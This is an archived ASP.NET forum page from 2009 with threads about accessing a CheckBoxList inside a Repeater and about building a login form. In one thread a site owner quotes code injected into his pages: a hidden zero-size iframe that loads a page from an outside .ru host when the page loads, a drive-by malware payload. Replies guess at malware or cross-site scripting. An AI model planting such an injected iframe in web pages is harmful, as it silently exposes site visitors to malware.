ASP.NET

28-Oct-09 8:09

To deal with this code ...

&amp;;lt;table&amp;;gt;
&lt;asp:Repeater ID="Repeater1" OnItemDataBound="test_ItemDataBound" &gt;
  &lt;ItemTemplate&gt;
    &lt;tr&gt;
   :( 
                                                            
     &lt;td &gt;
       &lt;asp:CheckBoxList runat="server" ID="chboxlst"&gt;
                                                                
          &lt;/asp:CheckBoxList&gt;
     &lt;/td&gt;
     &lt;td valign="top" width="100" "&gt;
      &lt;radCln:RadDateTimePicker ID="date" runat="server"&gt;
      &lt;/radCln:RadDateTimePicker&gt;
                                                                    
     &lt;/td&gt;    
                                                                           
   &lt;/tr&gt;
  &lt;/ItemTemplate&gt;
 &lt;/asp:Repeater&gt;
&lt;/table&gt;

.. i added following code in code behind -

protected void test_ItemDataBound(object sender, System.Web.UI.WebControls.RepeaterItemEventArgs e)
{
    CheckBoxList lst = e.Item.FindControl("chboxlst") as CheckBoxList;
    lst.DataSource = wtever;
    lst.DataBind();

}

but originally chboxlst is used in various methods in the code behind and according to above code, i can not access lst outside the above mentioned ItemDatabBound event.

Any ideas ?? - how can i access lst globally to be able to replace it with chboxlst ID.

Or if there is any other way to get this working.

Christian Graus28-Oct-09 11:07

Christian Graus

28-Oct-09 11:07

AndyInUK wrote:
Any ideas ?? - how can i access lst globally to be able to replace it with chboxlst ID.

If it's databound like this, you don't HAVE one checkboxlist. You have one for each item. Where do you want to access it ? If in a check changed event, that should be passed the control in question. If in page prerender, you could generate a list of checkboxlists as each is data bound.

Christian Graus

Driven to the arms of OSX by Vista.

Read my blog to find out how I've worked around bugs in Microsoft tools and frameworks.

AndyInUK29-Oct-09 0:07

29-Oct-09 0:07

Sorry but i didn't got you.

Ok i will try to explain the problem. There was a checkboxlist already present and chkbxlst(ID of that checkboxlist) is called in various places in code behind. Now if i cut copy the same checkboxlist control and add it under repeater control then i can not access chkboxlst id from code behind.

So what should i do so that i can call find and call chkbxlst id in code behind in all the places.

I hope it's bit clear now.

Oakman29-Oct-09 3:06

Soap Box 1.0: the first, the original, reborn troll-less

29-Oct-09 3:06

AndyInUK wrote:
I hope it's bit clear now.

Very clear. It is obvious you need to read up on how to use repeater controls.

Jon

Rob Graham wrote:
100% subsidies are very popular among the 50% of the population that pays no income tax...

AndyInUK29-Oct-09 3:22

29-Oct-09 3:22

Oakman wrote:
It is obvious you need to read up on how to use repeater controls.

I don't mind doing that but i can't find any tutorial which deals with similar situation like mine. Can you direct me to any ?

Oakman29-Oct-09 3:49

Soap Box 1.0: the first, the original, reborn troll-less

29-Oct-09 3:49

You can probably find something by Googling "repeater control checkbox."

The short answer is that once you add a control to a repeater, you can't access it directly since there could be many copies of that control. You have to find the item in the repeater you want (for each is a common method for doing this), and then write something like,
Dim theCheckbox As CheckBox = CType(e.Item.FindControl("aCheckBox"),CheckBox)
or
CheckBox theCheckbox = (CheckBox)(e.Item.FindControl("aCheckBox"));

btw: my first response came across as more snippy than I meant it to be. Blush | :O

Jon

Rob Graham wrote:
100% subsidies are very popular among the 50% of the population that pays no income tax...

AndyInUK29-Oct-09 6:55

29-Oct-09 6:55

If you read my original post - you will see that i know we need to find the control in repeater and the reason i added the bit of code for it to work.

But the whole problem is - aCheckBox is used at various places in the code behind. So that means it will generate error in all those places where i used aCheckBox. Now according to your suggestion and the one i did - i am finding that control under the common method and now outside this method i won't be able to find the control again. So what would be the best way in this case. Do i have to change the entire code where i have used aCheckBox or any other alternative.

Oakman29-Oct-09 7:52

Soap Box 1.0: the first, the original, reborn troll-less

29-Oct-09 7:52

Would it work to declare aCheckBox as a global variable and then instantiate it in the common method? If you need to refer to more than one at a time, I'd use the common method to create a collection.

Jon

Rob Graham wrote:
100% subsidies are very popular among the 50% of the population that pays no income tax...

Wrote Un Wanted Code

P.T.R.K28-Oct-09 4:40

P.T.R.K

28-Oct-09 4:40

Hi All,

I have developed a website using asp.net. The problem is someone was write for unwanted content in my two pages like default & home pages. When go to my url it open a login page. Once the user will give valid input then i will redirect the default page. And next to go to Home page.

The following text was write in my site.
<iframe frameborder="0" onload="if (!this.src){ this.src='http://testossteron.ru:8080/index.php'; this.height='0'; this.width='0';}" >wnwoccykiicptwlnvyhdhlbctpxyvqw</iframe>

This text was write on after body tag.

How this text was write in my default page and how to avoid this type of issues?

Please Help Me

Re: Wrote Un Wanted Code

Kannan Ar28-Oct-09 4:51

Kannan Ar

28-Oct-09 4:51

Seems like your web pages infected by a malware. You contact your host providers for further assistance. Another possibility is that the cross site scripting. Do you validate the user inputs?

Re: Wrote Un Wanted Code

P.T.R.K28-Oct-09 18:58

P.T.R.K

28-Oct-09 18:58

Thank your post.

I did validate for two input boxes.

Re: Wrote Un Wanted Code

Abhishek Sur28-Oct-09 4:52

Abhishek Sur

28-Oct-09 4:52

I think its a Trojan Attack in the server. Are your server is not protected from Antivirus or Security softwares ?

If not, buy one and install it immediately. These are to steal important data from your server.

Check this
Malicious Script[^]

Abhishek Sur
Don't forget to click "Good Answer" if you like this Solution.
My Latest Articles-->
Microsoft Bing MAP using Javascript
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Regarding Userlogin

gkarthikeyan198728-Oct-09 2:50

gkarthikeyan1987

28-Oct-09 2:50

Can anybody please tell me how to code for user login.(ie.,)the window should have a 1.username field
2.password field
3.ok button
4.cancel button

Not Active28-Oct-09 3:16

Not Active

28-Oct-09 3:16

Try here[^]

only two letters away from being an asset

David Mujica28-Oct-09 3:18

David Mujica

28-Oct-09 3:18

Check out these videos available from Microsoft ...

http://www.asp.net/learn/security-videos/[^]

gkarthikeyan198728-Oct-09 18:44

gkarthikeyan1987

28-Oct-09 18:44

let me know how to code in ASP.NET using c# for creating user login window Frown | :(

Abhishek Sur28-Oct-09 3:24

Abhishek Sur

28-Oct-09 3:24

What is the problem with this ??

You can use asp:login Confused | :confused:

Abhishek Sur
Don't forget to click "Good Answer" if you like this Solution.
My Latest Articles-->
Microsoft Bing MAP using Javascript
CLR objects in SQL Server 2005
Uncommon C# Keywords/xml>

gkarthikeyan198728-Oct-09 18:40

gkarthikeyan1987

28-Oct-09 18:40

Please suggest me with a good example

Abhishek Sur28-Oct-09 22:15

Abhishek Sur

28-Oct-09 22:15

You might use this :

http://msdn.microsoft.com/en-us/library/ms178331.aspx[^] Thumbs Up | :thumbsup:

Abhishek Sur
Don't forget to click "Good Answer" if you like this Solution.
My Latest Articles-->
Microsoft Bing MAP using Javascript
CLR objects in SQL Server 2005
Uncommon C# Keywords/xml>

Oakman29-Oct-09 3:05